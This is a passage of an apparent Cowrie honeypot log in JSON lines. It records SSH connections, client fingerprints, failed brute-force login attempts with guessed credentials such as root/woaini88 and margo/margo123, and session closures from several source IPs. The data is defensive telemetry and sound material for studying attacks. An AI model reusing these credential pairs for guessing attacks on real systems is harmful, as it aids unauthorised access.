rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.082541Z","src_ip":"43.153.46.75","session":"6a2f21846248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4e5","message":"login attempt [root/a1b2c3d4e5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.385452Z","src_ip":"43.153.46.75","session":"6a2f21846248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":56394,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb89bedcfee","protocol":"ssh","message":"New connection: 154.83.196.237:56394 (159.203.135.109:22) [session: 0cb89bedcfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.584777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.589245Z","src_ip":"154.83.196.237","session":"0cb89bedcfee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:08.709134Z","src_ip":"154.83.196.237","session":"0cb89bedcfee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:09.064775Z","src_ip":"103.75.199.4","session":"42a82c1d1318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123$%^","message":"login attempt [root/admin@123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:09.223174Z","src_ip":"154.83.196.237","session":"0cb89bedcfee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:09.456123Z","src_ip":"43.153.46.75","session":"6a2f21846248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:10.346097Z","src_ip":"154.83.196.237","session":"0cb89bedcfee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":12224,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d43febd3953","protocol":"ssh","message":"New connection: 45.148.10.141:12224 (10.17.0.5:22) [session: 1d43febd3953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:10.556860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:10.565968Z","src_ip":"45.148.10.141","session":"1d43febd3953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:10.652399Z","src_ip":"45.148.10.141","session":"1d43febd3953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:11.025248Z","src_ip":"45.148.10.141","session":"1d43febd3953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.219.157.97","src_port":33904,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d7f9ec75f39","protocol":"ssh","message":"New connection: 114.219.157.97:33904 (10.17.0.5:22) [session: 1d7f9ec75f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:18.338998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:18.343812Z","src_ip":"114.219.157.97","session":"1d7f9ec75f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:18.581413Z","src_ip":"114.219.157.97","session":"1d7f9ec75f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini88","message":"login attempt [root/woaini88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:19.563342Z","src_ip":"114.219.157.97","session":"1d7f9ec75f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:20.803975Z","src_ip":"114.219.157.97","session":"1d7f9ec75f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43984,"dst_ip":"159.203.135.109","dst_port":22,"session":"329c05e2f7db","protocol":"ssh","message":"New connection: 103.75.199.4:43984 (159.203.135.109:22) [session: 329c05e2f7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:29.466461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:29.470748Z","src_ip":"103.75.199.4","session":"329c05e2f7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:29.568961Z","src_ip":"103.75.199.4","session":"329c05e2f7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:29.855359Z","src_ip":"103.75.199.4","session":"329c05e2f7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:30.953739Z","src_ip":"103.75.199.4","session":"329c05e2f7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29637,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fdc3598ed87","protocol":"ssh","message":"New connection: 213.209.159.56:29637 (159.203.135.109:22) [session: 3fdc3598ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:36.933425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:36.937501Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:37.018611Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo","message":"login attempt [margo/margo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:37.451853Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56698,"dst_ip":"10.17.0.5","dst_port":22,"session":"80912b05ddd9","protocol":"ssh","message":"New connection: 43.163.119.215:56698 (10.17.0.5:22) [session: 80912b05ddd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:38.183684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:38.188358Z","src_ip":"43.163.119.215","session":"80912b05ddd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:38.426281Z","src_ip":"43.163.119.215","session":"80912b05ddd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo1","message":"login attempt [margo/margo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:38.536879Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:39.141426Z","src_ip":"43.163.119.215","session":"80912b05ddd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo123","message":"login attempt [margo/margo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:39.625509Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:40.381723Z","src_ip":"43.163.119.215","session":"80912b05ddd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo1234","message":"login attempt [margo/margo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:40.710545Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"margo","password":"margo12345","message":"login attempt [margo/margo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:41.796541Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":53700,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ec21b628f9","protocol":"ssh","message":"New connection: 67.102.183.113:53700 (10.17.0.5:22) [session: 29ec21b628f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:42.092560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:42.097347Z","src_ip":"67.102.183.113","session":"29ec21b628f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:42.169266Z","src_ip":"67.102.183.113","session":"29ec21b628f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger","message":"login attempt [root/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:42.491163Z","src_ip":"67.102.183.113","session":"29ec21b628f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:42.881492Z","src_ip":"213.209.159.56","session":"3fdc3598ed87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:43.568089Z","src_ip":"67.102.183.113","session":"29ec21b628f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51698,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e23d81b6b3","protocol":"ssh","message":"New connection: 43.163.119.215:51698 (10.17.0.5:22) [session: d0e23d81b6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:49.119969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:49.125116Z","src_ip":"43.163.119.215","session":"d0e23d81b6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 